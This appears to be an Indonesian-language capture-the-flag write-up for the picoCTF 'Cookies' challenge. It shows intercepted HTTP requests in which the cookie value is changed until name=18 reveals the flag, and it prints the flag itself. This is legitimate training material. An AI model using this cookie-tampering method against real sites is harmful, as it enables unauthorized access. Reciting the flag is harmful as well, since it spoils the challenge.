

Cookies

langkah pertama adalah melakukan inputan pada website dengan menggunakan string snickerdoodle dengan tujuan untuk mendapatkan cookie yang sah, dengan cookie: name=1 (snickerdoodle), berikut adalah lampirannya

The screenshot shows two browser windows side-by-side. The left window displays a simple web page titled 'Cookies' with a search form. The search bar contains the value 'snickerdoodle'. Below the search bar is a green button labeled 'Search'. The right window shows the browser's developer tools, specifically the Application tab under Storage. It lists a cookie named 'name' with a value of '-1'. The right window also has a status message: 'No cookie selected' and 'Select a cookie to preview its value'. The bottom right of the right window features a 'What's new in DevTools 143' section.

setelah mendapatkan request dari website beserta dengan header Cookie, kitahanya perlu mengubah value cookie: name=' (dengan value yang tepat) '

Time	Type	Direction	Method	URL
21:28:31 11 Jan ...	HTTP	→ Request	POST	http://wily-courier.picoctf.net:62865/search
21:29:36 11 Jan ...	HTTP	→ Request	GET	http://wily-courier.picoctf.net:62865/check

Request

Pretty Raw Hex

```

1 GET /check HTTP/1.1
2 Host: wily-courier.picoctf.net:62865
3 Cache-Control: max-age=0
4 Upgrade-Insecure-Requests: 1
5 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
6 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8
7 Sec-GPC: 1
8 Accept-Language: en-US,en;q=0.5
9 Referer: http://wily-courier.picoctf.net:62865/
10 Accept-Encoding: gzip, deflate, br
11 Cookie: name=0
12 Connection: keep-alive
13
14

```

Pretty Raw Hex

```

1 GET /check HTTP/1.1
2 Host: wily-courier.picoctf.net:62865
3 Cache-Control: max-age=0
4 Upgrade-Insecure-Requests: 1
5 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
6 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8
7 Sec-GPC: 1
8 Accept-Language: en-US,en;q=0.5
9 Referer: http://wily-courier.picoctf.net:62865/
10 Accept-Encoding: gzip, deflate, br
11 Cookie: name=18
12 Connection: keep-alive
13
14

```



Response

Pretty Raw Hex Render

```

Flag
</b>
: <code>
    picoCTF{3v3ry1_l0v3s_c00k135_a4dadb49}
</code>
</p>
</div>

<footer class="footer">
    <p>
        &copy; PicoCTF
    </p>
</footer>

```

setelah menemukan value yang tepat yaitu 18 kami berhasil menemukan flagnya berupa string

picoCTF{3v3ry1_l0v3s_c00k135_a4dadb49}